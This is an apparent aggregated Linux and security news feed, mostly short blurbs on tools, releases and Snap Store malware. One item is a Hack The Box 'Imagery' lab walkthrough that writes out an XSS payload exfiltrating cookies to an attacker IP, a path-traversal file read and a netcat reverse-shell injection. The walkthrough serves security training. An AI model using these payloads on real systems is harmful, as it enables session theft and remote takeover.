Former Canonical Developer Advocate Warns Snap Store Isn't Safe After Slow Responses to Malware Reports
Read more of this story at Slashdot.
Read more of this story at Slashdot.
Want to take your Vim game to the next level? From my time using Vim, I've learned many neat tips and tricks that have saved me tons of time and headaches while editing with Vim. I'm sharing some of my top tips in this guide so you can incorporate them into your workflow.

I used to treat my Linux app menu like a forgotten drawer. I rarely opened it, only to switch to my terminal a bit later. Then I found Ulauncher. It quietly replaced my start menu, app grid, and desktop shortcuts. Once I got used to it, I wondered why I ever clicked through menus in the first place.

In this write-up, we will explore the “Imagery” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
The goal of this walkthrough is to complete the “Imagery” machine from Hack The Box by achieving the following objectives:
User Flag:
After gaining an initial foothold through weaknesses in the web application, access is gradually expanded beyond a standard user account. By leveraging exposed application data and mismanaged credentials, lateral movement becomes possible within the system. This progression ultimately leads to access to a regular system user account, where the user flag can be retrieved, marking the successful completion of the first objective.
Root Flag:
With user-level access established, further analysis reveals misconfigured privileges and trusted system utilities that can be abused. By carefully interacting with these elevated permissions and understanding how system-level automation is handled, full administrative control of the machine is achieved. This final escalation allows access to the root account and the retrieval of the root flag, completing the machine compromise.
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
nmap -sC -sV -oA initial 10.129.3.10Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/imagery]
└──╼ $nmap -sC -sV -oA initial 10.129.3.10
# Nmap 7.94SVN scan initiated Fri Jan 23 23:04:24 2026 as: nmap -sC -sV -oA initial 10.129.3.10
Nmap scan report for 10.129.3.10
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:94:fb:70:36:1a:26:3c:a8:3c:5a:5a:e4:fb:8c:18 (ECDSA)
|_ 256 c2:52:7c:42:61:ce:97:9d:12:d5:01:1c:ba:68:0f:fa (ED25519)
8000/tcp open http-alt Werkzeug/3.1.3 Python/3.12.7
|_http-title: Image Gallery
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Sat, 24 Jan 2026 00:25:22 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.1.3 Python/3.12.7
| Date: Sat, 24 Jan 2026 00:25:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 146960
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Image Gallery</title>
| <script src="static/tailwind.js"></script>
| <link rel="stylesheet" href="static/fonts.css">
| <script src="static/purify.min.js"></script>
| <style>
| body {
| font-family: 'Inter', sans-serif;
| margin: 0;
| padding: 0;
| box-sizing: border-box;
| display: flex;
| flex-direction: column;
| min-height: 100vh;
| position: fixed;
| top: 0;
| width: 100%;
| z-index: 50;
|_ #app-con
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7Analysis:
Web Application Exploration:

Features the app’s slogan “Capture & Cherish Every Moment” in large white text, followed by a description: “Your personal online gallery, designed for simplicity and beauty. Upload, organise, and relive your memories with ease.” Below that, a white section titled “Powerful Features at Your Fingertips” with three icons (a landscape image frame, a padlock for security, and a rocket for speed/performance). The navigation bar at the top includes “Home,” “Login,” and “Register.”

Centred white form on blue background titled “Register”. Fields: “Email ID” (placeholder: “Enter your email ID”) and “Password” (placeholder: “Enter your password” with eye icon for visibility). Blue “Register” button. ja

Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Register” button.

Similar to register, titled “Login”. Fields pre-filled: “Email ID” as “dark@imagery.htb” and masked “Password”. Blue “Login” button, plus “Don’t have an account? Register here” link. Top nav: “Home”, “Login”, “Register”.

White background with title “Your Image Gallery”. A card message: “No images uploaded yet. Go to the ‘Upload’ page to add some!” Logged-in nav: “Home”, “Gallery”, “Upload”, “Logout” (red button).

Client-side JavaScript source code fetching and displaying admin bug reports from /admin/bug_reports with error handling and UI rendering logic.

JavaScript function handleDownloadUserLog redirects to /admin/get_system_log with a crafted log_identifier parameter based on username.

404 Not Found response when accessing the root /admin endpoint directly.

JSON access denied response (“Administrator privileges required”) when trying to access /admin/users as a non-admin user.

405 Method Not Allowed error on GET request to /report_bug, indicating the endpoint exists but requires a different HTTP method (likely POST).

App footer section showing copyright “© 2026 Imagery”, Quick Links (Home, Gallery, Upload, Report Bug), social media links, and contact info (support@imagery.com, fictional address).

“Report a Bug” form pre-filled with “bugName”: “dark” and the same XSS cookie-stealing payload in Bug Details, ready for submission.

Terminal session as user “dark@parrot” running a local HTTP server (sudo python3 -m http.server 80) in the ~/Documents/htb/imagery directory to serve files/listen for requests on port 80.

Burp Suite capture of a successful POST to /report_bug, submitting JSON with “bugName”: “dark” and XSS payload in “bugDetails” (<img src=x onerror=”document.location=’http://10.10.14.133:80/?cookie=’+document.cookie”>), response confirms submission with admin review message.

The response of successful POST to /report_bug, submitting an XSS payload in bugDetails to exfiltrate cookies via redirect to the attacker’s server.

Burp Suite capture of GET request to /auth_status returning JSON with logged-in user details (username “dark@imagery.htb“, isAdmin false).

Local Python HTTP server log showing incoming request from target (10.129.3.10) with stolen admin session cookie in query parameter, plus 404 for favicon.

Burp Suite capture of GET to /admin/ endpoint returning standard 404 Not Found HTML error page.

Successful GET to /admin/users with stolen admin cookie returning JSON user list (admin with isAdmin:true, testuser with isAdmin:false).

JavaScript source snippet of handleDownloadUserLog function redirecting to /admin/get_system_log with the encoded log_identifier parameter.

Failed LFI attempt on non-existent path returning 500 Internal Server Error with “Error reading file: 404 Not Found”.

Successful LFI exploitation via /admin/get_system_log retrieving /etc/passwd contents through path traversal payload “../../../../../../etc/passwd”.

Admin Panel interface (accessed with hijacked session) showing User Management with admin and testuser entries, plus empty Submitted Bug Reports section.

LFI retrieval of /proc/self/environ exposes environment variables (LANG, PATH, WEBHOME, WEBSHELL, etc.).

Retrieved db.json file contents via /admin/get_system_log path traversal, exposing user records with MD5-hashed passwords for admin and testuser, alongside an empty bug_reports array.

LFI retrieval of config.py source code exposing app constants like DATA_STORE_PATH=’db.json’, upload folders, and allowed extensions.

CrackStation online tool cracking the MD5 hash “2c65c8d7bfbca32a3ed42596192384f6” to plaintext “iambatman”.

Terminal output of failed SSH attempt as testuser@10.129.3.10 with publickey authentication denied.

Login page with Email ID pre-filled as “testuser@imagery.htb” and masked password field.

Empty Gallery page for logged-in user stating “No images uploaded yet. Go to the ‘Upload’ page to add some!”

Upload New Image form with “lips.png” selected (max 1MB, allowed formats listed), optional title/description, group “My Images”, uploading as Account ID e5f6g7h8.

Gallery view showing single uploaded image “lips” (red lips icon) with open context menu offering Edit Details, Convert Format, Transform Image, Delete Metadata, Download, and Delete.

Visual Image Transformation modal in crop mode with selectable box over the red lips image, parameters set to x:0 y:0 width:193 height:172.

Successful Burp POST to /apply_visual_transform with valid crop params returning new transformed image URL in /uploads/admin/transformed/.

Burp capture of POST to /apply_visual_transform with invalid crop “x”:”id” parameter resulting in 500 error (“invalid argument for option ‘-crop'”).

Burp capture of POST to /apply_visual_transform injecting “cat /etc/passwd” via crop “x” parameter, resulting in 500 error exposing command output snippet.

Attacker terminal running netcat listener on port 9007 (nc -lvnp 9007).

Burp capture of POST to /apply_visual_transform with reverse shell payload in crop “x” parameter (“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.133 9007 >/tmp/f”).

Successful reverse shell connection from target (10.129.3.10) to attacker listener on port 9007, landing as web@Imagery.

Detailed directory listing of /web (app root) revealing source files (api_*.py, app.py, config.py, db.json, utils.py) and directories (bot, env, static, system_logs, templates, uploads).

Directory listing of /web/bot showing admin.py file owned by web user.

Source code of admin.py revealing Selenium automation bot with hardcoded admin credentials (“admin@imagery.htb“:”strongsandofbeach”), bypass token, and Chrome binary path.

Detailed directory listing of /var showing system directories (backup, backups, cache, crash, lib, local, log, mail, opt, run, snap, spool, tmp).

Directory listing of /var/backup showing an encrypted backup file web_20250806_120723.zip.aes.

Directory listing of /var/backups showing multiple compressed APT/dpkg state archives (.gz files).

Target starting Python HTTP server on port 9007 to serve the encrypted backup file.

Wget successfully downloading the encrypted backup file web_20250806_120723.zip.aes (22MB) from the target’s HTTP server on port 9007.

File command confirming web_20250806_120723.zip.aes is AES-encrypted data created by pyAesCrypt 6.1.1.

Attempt to run dpyAesCrypt.py failing with ModuleNotFoundError for ‘pyAesCrypt’ (case-sensitive import issue).

Successful pip3 user installation of pyaescrypt-6.1.1 package.

Failed execution of dpyAesCrypt.py due to ModuleNotFoundError for ‘termcolor’ (missing import dependency).

Successful pip3 user installation of termcolor-3.3.0 package.

Custom pyAesCrypt brute-forcer discovering password “bestfriends” early in the wordlist.

Successful decryption of the AES backup using “bestfriends”, outputting the original web_20250806_120723.zip.

The cunzip extracting the decrypted backup archive, revealing full app source (api_*.py, app.py, config.py, db.json, utils.py), templates, system_logs, env, and compiled pycache files.



cat of decrypted db.json revealing user database with admin (hashed password), testuser (“iambatman”), and mark (another hashed password).

CrackStation results cracking MD5 hashes to “iambatman”, “supersmash”, and “spiderweb1234” (one unknown).

Successful su to mark using password “supersmash”, confirming uid/gid 1002.

Python one-liner (python3 -c ‘import pty;pty.spawn(“/bin/bash”)’) to spawn an interactive bash shell.

ls -al in /home/mark showing files including user.txt (likely containing the flag).

We can read the user flag by typing the “cat user.txt” command
Privilege Escalation:

sudo -l reveals that user mark can run /usr/local/bin/charcol as root without a password (NOPASSWD).


charcol help output describing the CLI tool for encrypted backups, with commands (shell, help) and options (-quiet, -R for reset).

Failed charcol shell passphrase attempts (“bestfriend”, “supermash”, “supersmash”) resulting in lockout after multiple errors.

sudo charcol -R resetting application password to default (“no password” mode) after system password verification.

sudo charcol -R resetting application password to default (“no password” mode) after system password verification.

Repeated sudo charcol -R successfully resetting to no password mode.

charcol interactive shell entry after initial setup, displaying ASCII logo and info message.


charcol help output explaining backup/fetch commands and “auto add” for managing automated (root) cron jobs, with security warnings.

Attacker terminal running netcat listener on port 9007 in preparation for reverse shell.

Successful “auto add” command creating a root cron job with reverse shell payload to attacker (10.10.14.133:9007), verified with system password “supersmash”.


Successful privilege escalation to root via a malicious cron job triggered a reverse shell, followed by reading the root flag from /root/root.txt
The post Hack The Box: Imagery Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.
The Servo project developers have announced the release of version 0.0.4 of its Servo browser engine, bringing with it some crucial upgrades in the long-term goal of supporting a full browser experience.

The world of Linux software is hard to navigate, but with there are a lot of good ones worth checking out if you know where to look. Have a look at this text drawing app, packet analyzer, and Wikipedia browser.

Rust 1.93.0 is now stable and was released today. It focuses on tightening up the compiler's safety guarantees while providing crucial new tools for performance-critical tasks. It is a solid release that makes the language feel more mature in areas that matter most.

It’s that time of the week again, the time when I showcase three pieces of homelab software for you to try out over the weekend. Today, I’m taking a look at both advanced and simple projects, from running a PXE server to playing retro games in your browser. Here are three homelab projects to try before Monday comes.

The Debian project has just released a new snapshot of its alternative operating system, Debian GNU/Hurd 2025, which now includes a working 64-bit edition. This is a massive update for a project that many people forget exists, but you need to know right away that this is not a Linux distribution.

A team of researchers from the Graz University of Technology in Austria has revived page Linux page cache attacks.
The post Old Attack, New Speed: Researchers Optimize Page Cache Exploits appeared first on SecurityWeek.
Snaps are compressed, cryptographically signed, revertable software packages for Linux desktops, servers, and embedded devices. A sophisticated campaign targeting Canonical’s Snap Store has escalated dramatically, with threat actors shifting from publishing malware under new accounts to hijacking established publishers through expired domain takeovers. This represents a fundamental erosion of trust signals that Linux users previously […]
The post Hackers Exploit Snap Domains to Inject Malicious Code into Linux Software Packages appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

NexPhone wants one handset to cover Android, Debian Linux, and a Windows 11 cloud PC workflow. The idea hinges on docking, but the Windows service details still aren’t pinned down.
The post This Android phone with Linux jumps to Windows when you need it appeared first on Digital Trends.

While most desktop environments (DEs) evolve gradually, GNOME prefers dramatic revolutions. I tested all the major GNOME releases over the last weekend, and it was a journey through radical redesigns and shifting ideas about computing paradigms. Here's how it evolved over the last 27 years.

System76 released version 1.0.3 of its fresh, Rust-based COSMIC desktop environment this week, bringing with it several fixes and improvements for Linux fans running it. In particular, the file browser is getting some essential features.

NVIDIA has released an urgent security update addressing a critical vulnerability in NSIGHT Graphics for Linux systems. The vulnerability, tracked as CVE-2025-33206, allows attackers to execute arbitrary code through command injection, posing significant risks to development and graphics analysis workflows. Vulnerability Overview The flaw exists in NVIDIA NSIGHT Graphics across all Linux versions prior to […]
The post NVIDIA Nsight Graphics on Linux Exposed to Code Execution Vulnerability appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Computing is always changing, but few operating systems have as much cultural baggage and conflicting stories surrounding them as Linux does. If you're used to those proprietary software ecosystems, hearing the word probably brings up a bunch of old ideas. These assumptions rely on outdated information, hearsay, or plain misunderstandings.

Bash—and other Linux shells—support powerful command plumbing using features like redirection. You may be used to the most basic type of input redirection but, as is often the case, Linux has more depth than meets the eye.


Your new project really could use a block device for Linux. File systems are easy to do with FUSE, but that’s sometimes too high-level. But a block driver can be tough to write and debug, especially since bugs in the kernel’s space can be catastrophic. [Jiri Pospisil] suggests Ublk, a framework for writing block devices in user space. This works using the io_uring facility in recent kernels.
This opens the block device field up. You can use any language you want (we’ve seen FUSE used with some very strange languages). You can use libraries that would not work in the kernel. Debugging is simple, and crashing is a minor inconvenience.
Another advantage? Your driver won’t depend on the kernel code. There is a kernel driver, of course, named ublk_drv, but that’s not your code. That’s what your code talks to.
The driver maintains the block devices and relays I/O and ioctl requests to your code for servicing. There are several possible use cases for this. For example, you could dream up some exotic RAID scheme and expose it as a block device that multiplexes many devices. The example in the post, for example, exposes a block device that is made up of many discrete files on a different file system.
Do you need this? Probably not. But if you do, it is a great way to push out a block driver in a hurry. Is it high-performance? Probably not, just like FUSE isn’t as performant as a “real” file system. But for many cases, that’s not a problem.
If you want to try FUSE, why not make your favorite website part of your file system?
Raspberry Pi single-board computers are awesome for so many reasons—they're low-power, extremely capable, and have small footprints. I love all those things about my Raspberry Pi, but my favorite feature is one that I don’t hear talked about nearly often enough.
